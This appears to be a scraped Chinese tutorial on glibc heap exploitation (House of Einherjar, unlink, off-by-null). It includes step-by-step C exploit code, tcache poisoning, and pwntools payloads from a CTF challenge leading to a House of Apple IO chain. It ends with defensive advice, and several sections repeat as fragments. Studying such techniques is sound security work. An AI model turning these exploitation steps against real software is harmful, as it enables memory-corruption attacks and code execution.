House of Einherjar (unlink) 与 off by one (null) 漏洞利用技术详解<\/h1>

一、House of Einherjar (unlink) 技术<\/h2>

1. 技术原理<\/h3>
House of Einherjar 是一种利用堆溢出漏洞结合 unlink 机制的攻击技术，主要特点是通过构造伪造的堆块(chunk)来欺骗 malloc 的内存管理机制。<\/p>

核心机制：<\/h4>

利用向前合并(forward consolidation)机制<\/li>
通过修改相邻堆块的元数据触发 unlink 操作<\/li>

最终实现任意地址分配控制<\/li> <\/ul>

关键源码分析：<\/h4>

\/* consolidate forward *\/<\/span>
<\/span><\/span>if<\/span> (!<\/span>nextinuse) {
<\/span><\/span>    unlink(av, nextchunk, bck, fwd);
<\/span><\/span>    size +=<\/span> nextsize;
<\/span><\/span>} else<\/span>
<\/span><\/span>    clear_inuse_bit_at_offset(nextchunk, 0<\/span>);
<\/span><\/span><\/code><\/pre>2. 利用条件<\/h3>

存在堆溢出漏洞，能够修改相邻堆块的元数据<\/li>
需要知道堆的地址（heap leak）<\/li>
在 glibc-2.31 及更高版本中，需要先填满 tcache 才能利用<\/li>
<\/ol>
3. 详细利用步骤<\/h3>
步骤1：构造伪造的 free chunk<\/h4>
intptr_t *<\/span>a =<\/span> malloc(0x38<\/span>);
<\/span><\/span>a[0<\/span>] =<\/span> 0<\/span>;    \/\/ prev_size
<\/span><\/span><\/span><\/span>a[1<\/span>] =<\/span> 0x60<\/span>; \/\/ size
<\/span><\/span><\/span><\/span>a[2<\/span>] =<\/span> (size_t) a; \/\/ fwd
<\/span><\/span><\/span><\/span>a[3<\/span>] =<\/span> (size_t) a; \/\/ bck
<\/span><\/span><\/span><\/code><\/pre>步骤2：分配相邻堆块并触发溢出<\/h4>
uint8_t<\/span> *<\/span>b =<\/span> (uint8_t<\/span> *<\/span>) malloc(0x28<\/span>);
<\/span><\/span>uint8_t<\/span> *<\/span>c =<\/span> (uint8_t<\/span> *<\/span>) malloc(0xf8<\/span>);
<\/span><\/span>
<\/span><\/span>\/\/ 触发 off-by-one null 溢出
<\/span><\/span><\/span><\/span>b[real_b_size] =<\/span> 0<\/span>; \/\/ 清除 next chunk 的 prev_inuse 位
<\/span><\/span><\/span><\/code><\/pre>步骤3：构造伪造的 prev_size<\/h4>
size_t fake_size =<\/span> (size_t)((c -<\/span> sizeof<\/span>(size_t) *<\/span> 2<\/span>) -<\/span> (uint8_t<\/span>*<\/span>) a);
<\/span><\/span>*<\/span>(size_t*<\/span>) &<\/span>b[real_b_size-<\/span>sizeof<\/span>(size_t)] =<\/span> fake_size;
<\/span><\/span>a[1<\/span>] =<\/span> fake_size; \/\/ 更新伪造 chunk 的 size
<\/span><\/span><\/span><\/code><\/pre>步骤4：绕过 unlink 检查<\/h4>
需要满足：<\/p>

chunksize(P) == prev_size(next_chunk(P))<\/code><\/li>
FD->bk == P && BK->fd == P<\/code> (双向链表完整性检查)<\/li>
<\/ol>
步骤5：填满 tcache 并触发合并<\/h4>
\/\/ 填满 tcache
<\/span><\/span><\/span><\/span>intptr_t *<\/span>x[7<\/span>];
<\/span><\/span>for<\/span>(int<\/span> i=<\/span>0<\/span>; i<<\/span>7<\/span>; i++<\/span>) {
<\/span><\/span>    x[i] =<\/span> malloc(0xf8<\/span>);
<\/span><\/span>    free(x[i]);
<\/span><\/span>}
<\/span><\/span>
<\/span><\/span>\/\/ 触发合并
<\/span><\/span><\/span><\/span>free(c);
<\/span><\/span><\/code><\/pre>步骤6：实现任意地址分配<\/h4>
intptr_t *<\/span>d =<\/span> malloc(0x158<\/span>); \/\/ 分配到伪造 chunk 的位置
<\/span><\/span><\/span><\/code><\/pre>步骤7：进行 tcache poisoning 攻击<\/h4>
free(b);
<\/span><\/span>d[0x30<\/span> \/<\/span> 8<\/span>] =<\/span> (long<\/span>) stack_var; \/\/ 修改 fd 指针
<\/span><\/span><\/span><\/span>malloc(0x28<\/span>); \/\/ 触发分配
<\/span><\/span><\/span><\/span>intptr_t *<\/span>e =<\/span> malloc(0x28<\/span>); \/\/ 获取目标地址的控制权
<\/span><\/span><\/span><\/code><\/pre>4. 防护机制绕过<\/h3>
在 glibc-2.31 及更高版本中，需要：<\/p>

先填满 tcache 对应的 bin<\/li>
确保伪造的 chunk 大小不会超过 arena 分配的内存大小限制<\/li>
<\/ol>
二、off by one (null) 漏洞利用<\/h2>
1. 基本概念<\/h3>
off-by-one 是一种特殊的溢出漏洞，特指程序向缓冲区写入时，写入的字节数超过了缓冲区本身申请的字节数且只越界一个字节。<\/p>
特殊形式：off by null<\/h4>

只溢出一个 null 字节 ('\x00')<\/li>
常用于修改堆块的 prev_inuse 位<\/li>
结合 unlink 可以实现更强大的攻击<\/li>
<\/ul>
2. 典型漏洞代码<\/h3>
for<\/span> ( i =<\/span> 0<\/span>; i <<\/span> a2; ++<\/span>i ) {
<\/span><\/span>    buf =<\/span> 0<\/span>;
<\/span><\/span>    if<\/span> ( read(0<\/span>, &<\/span>buf, 1uLL<\/span>) <<\/span> 0<\/span> )
<\/span><\/span>      fault();
<\/span><\/span>    if<\/span> ( buf ==<\/span> 10<\/span> ) {
<\/span><\/span>      *<\/span>(_BYTE *<\/span>)(i +<\/span> a1) =<\/span> 0<\/span>; \/\/ off by null
<\/span><\/span><\/span><\/span>      break<\/span>;
<\/span><\/span>    }
<\/span><\/span>    *<\/span>(_BYTE *<\/span>)(a1 +<\/span> i) =<\/span> buf;
<\/span><\/span>}
<\/span><\/span>*<\/span>(_BYTE *<\/span>)(i +<\/span> a1) =<\/span> 0<\/span>; \/\/ 额外的 null 字节写入
<\/span><\/span><\/span><\/code><\/pre>3. 实际案例分析：DASCTF X 0psu3 十一月挑战赛 garbage<\/h3>
漏洞分析：<\/h4>

存在 off by null 漏洞<\/li>
无 UAF (Use After Free)<\/li>
堆块指针和 size 存储在 bss 段<\/li>
未开启 PIE (Position Independent Executable)<\/li>
<\/ol>
利用思路：<\/h4>

利用 unlink 将堆块放到 bss 段<\/li>
劫持堆块指针数组和 size 数组<\/li>
修改 size 造成堆溢出<\/li>
进行 UAF 攻击<\/li>
使用 House of apple 的调用链进行 IO 攻击<\/li>
<\/ol>
关键利用代码：<\/h4>
target =<\/span> 0x404060<\/span> # bss 段地址<\/span>
<\/span><\/span>
<\/span><\/span># 构造伪造 chunk<\/span>
<\/span><\/span>add(0<\/span>,0x428<\/span>,b<\/span>'aaaa'<\/span>)
<\/span><\/span>add(1<\/span>,0x4f0<\/span>,b<\/span>'aaaa'<\/span>)
<\/span><\/span>add(2<\/span>,0x410<\/span>,b<\/span>'aaaa'<\/span>)
<\/span><\/span>
<\/span><\/span>payload =<\/span> p64(0<\/span>) +<\/span> p64(0x421<\/span>) +<\/span> p64(target -<\/span> 0x18<\/span>) +<\/span> p64(target -<\/span> 0x10<\/span>)
<\/span><\/span>payload =<\/span> payload.<\/span>ljust(0x420<\/span>,b<\/span>'<\/span>\x00<\/span>'<\/span>)
<\/span><\/span>payload +=<\/span> p64(0x420<\/span>)
<\/span><\/span>
<\/span><\/span>edit(0<\/span>,payload)
<\/span><\/span>delete(1<\/span>) # 触发合并<\/span>
<\/span><\/span>
<\/span><\/span># 修改 bss 段上的堆管理结构<\/span>
<\/span><\/span>edit(0<\/span>,b<\/span>'<\/span>\x00<\/span>'<\/span>*<\/span>0x18<\/span> +<\/span> p64(target -<\/span> 0x18<\/span>) +<\/span> p64(0x4040c0<\/span>)+<\/span>p64(0<\/span>)*<\/span>10<\/span> +<\/span> p32(0x1000<\/span>)*<\/span>10<\/span>)
<\/span><\/span><\/code><\/pre>House of apple 攻击链：<\/h4>

劫持 stderr 结构体<\/li>
构造伪造的 IO 结构<\/li>
通过 IO 操作调用 system 函数<\/li>
<\/ol>
三、防护与检测建议<\/h2>


对堆块边界进行严格检查<\/p>
<\/li>

实现更严格的 unlink 检查机制<\/p>
<\/li>

使用现代的堆分配器保护措施：<\/p>

增加更多的完整性检查<\/li>
使用随机化的堆布局<\/li>
实现更严格的元数据保护<\/li>
<\/ul>
<\/li>

代码审计时特别注意：<\/p>

所有可能导致 off-by-one 的循环和字符串操作<\/li>
任何可能修改堆块元数据的操作<\/li>
不安全的 size 计算和传递<\/li>
<\/ul>
<\/li>
<\/ol>
四、参考资源<\/h2>

PWN——House Of Einherjar CTF Wiki例题详解<\/a><\/li>
PWN 堆利用 unlink 学习笔记<\/a><\/li>
堆溢出 off by one & off by null<\/a><\/li>
新型 IO 利用方法学习——House of apple2<\/a><\/li>
<\/ol>

House of Einherjar (unlink) 与 off by one (null) 漏洞利用技术详解<\/h1>

一、House of Einherjar (unlink) 技术<\/h2>

1. 技术原理<\/h3> House of Einherjar 是一种利用堆溢出漏洞结合 unlink 机制的攻击技术，主要特点是通过构造伪造的堆块(chunk)来欺骗 malloc 的内存管理机制。<\/p>

3. 详细利用步骤<\/h3>

二、off by one (null) 漏洞利用<\/h2>

1. 基本概念<\/h3> off-by-one 是一种特殊的溢出漏洞，特指程序向缓冲区写入时，写入的字节数超过了缓冲区本身申请的字节数且只越界一个字节。<\/p>

3. 实际案例分析：DASCTF X 0psu3 十一月挑战赛 garbage<\/h3>

四、参考资源<\/h2> PWN——House Of Einherjar CTF Wiki例题详解<\/a><\/li> PWN 堆利用 unlink 学习笔记<\/a><\/li> 堆溢出 off by one & off by null<\/a><\/li> 新型 IO 利用方法学习——House of apple2<\/a><\/li> <\/ol>

1. 技术原理<\/h3>
House of Einherjar 是一种利用堆溢出漏洞结合 unlink 机制的攻击技术，主要特点是通过构造伪造的堆块(chunk)来欺骗 malloc 的内存管理机制。<\/p>

1. 基本概念<\/h3>
off-by-one 是一种特殊的溢出漏洞，特指程序向缓冲区写入时，写入的字节数超过了缓冲区本身申请的字节数且只越界一个字节。<\/p>

四、参考资源<\/h2>

PWN——House Of Einherjar CTF Wiki例题详解<\/a><\/li>
PWN 堆利用 unlink 学习笔记<\/a><\/li>
堆溢出 off by one & off by null<\/a><\/li>
新型 IO 利用方法学习——House of apple2<\/a><\/li> <\/ol>